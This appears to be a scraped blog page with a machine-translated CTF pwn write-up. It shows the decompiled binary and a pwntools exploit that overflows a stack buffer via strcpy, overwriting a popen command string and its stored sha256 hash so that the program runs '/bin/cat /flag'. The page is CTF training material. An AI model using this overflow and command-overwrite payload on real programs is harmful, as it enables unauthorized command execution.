当前位置:网站首页>[BMZCTF-pwn] 20-secret_ file
[BMZCTF-pwn] 20-secret_ file
2022-07-03 04:30:00 【Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi】
Problem of overflow in stack
After reading the program, it's over
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
char *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
size_t v11; // [rsp+0h] [rbp-308h] BYREF
char *lineptr; // [rsp+8h] [rbp-300h] BYREF
char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF Input plaintext to be encrypted
char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF Initialize the put command
char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF Initialize the put sha256 value
_QWORD v16[4]; // [rsp+16Ch] [rbp-19Ch] BYREF
char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF Before user input 0x100 Encrypted sha256 value
int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(dest); // md5 Values in v15
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = (unsigned __int8 *)v16;
v5 = v17;
strcpy(dest, lineptr);
sub_DD0((__int64)dest, v16, 0x100u); // To the front 0x100 String encryption
do
{
v6 = *v4;
v7 = v5;
v5 += 2;
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != (char *)&v18 );
v8 = strcmp(v15, v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(v14, "r");
if ( !v9 )
return 1;
while ( fgets(s, 256, v9) )
printf("%s", s);
fclose(v9);
return v8;
}The program first combines a command with md5 Value in v14,v15 It's about . Then the user input value is put into desc It's about (v14 front ). Here, as long as you enter super long v14,v15 Cover can .
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #
payload = b'A'*(256)+ b'/bin/cat /flag;'.ljust(27, b'#')+b'e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb'
p.sendline(payload)
p.recv()
pause()
边栏推荐
- Golang -- realize file transfer
- Basic syntax of class
- Two points -leetcode-540 A single element in an ordered array
- 2022 registration examination for safety production management personnel of hazardous chemical production units and examination skills for safety production management personnel of hazardous chemical
- Competitive product analysis and writing
- [fairseq] error: typeerror:_ broadcast_ coalesced(): incompatible function arguments
- Asp access teaching management system design finished product
- 跨境电商多商户系统怎么选
- 商城系统搭建完成后需要设置哪些功能
- 使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver
猜你喜欢

Integration of Android high-frequency interview questions (including reference answers)

P35-P41 fourth_ context

2022 P cylinder filling test content and P cylinder filling simulation test questions

使用BENCHMARKSQL工具对kingbasees并发测试时kill掉主进程成功后存在子线程未及时关闭

When using the benchmarksql tool to preheat data for kingbasees, execute: select sys_ Prewarm ('ndx_oorder_2 ') error

Human resource management system based on JSP

Some information about the developer environment in Chengdu
![[pat (basic level) practice] - [simple simulation] 1063 calculate the spectral radius](/img/01/c118725f74e39742df021b5dbcc33b.jpg)
[pat (basic level) practice] - [simple simulation] 1063 calculate the spectral radius

金仓KFS数据双向同步场景部署

Employee attendance management system based on SSM
随机推荐
Factor stock selection scoring model
[set theory] binary relationship (binary relationship notation | binary relationship from a to B | number of binary relationships | example of binary relationship)
Mongodb slow query optimization analysis strategy
What functions need to be set after the mall system is built
Joint search set: the number of points in connected blocks (the number of points in a set)
[dynamic programming] subsequence problem
Contents of welder (primary) examination and welder (primary) examination in 2022
A outsourcing boy's mid-2022 summary
金仓数据库KingbaseES 插件kdb_exists_expand
金仓数据库KingbaseES 插件kdb_date_function
[Thesis Writing] how to write the overall design of JSP tourism network
[文献阅读] Sparsity in Deep Learning: Pruning and growth for efficient inference and training in NN
JS realizes lazy loading of pictures
MongoDB 慢查询语句优化分析策略
Youdao cloud notes
220214c language learning diary
Kingbasees plug-in KDB of Jincang database_ database_ link
Xrandr modifier la résolution et le taux de rafraîchissement
When using the benchmarksql tool to preheat data for kingbasees, execute: select sys_ Prewarm ('ndx_oorder_2 ') error
Data Lake three swordsmen -- comparative analysis of delta, Hudi and iceberg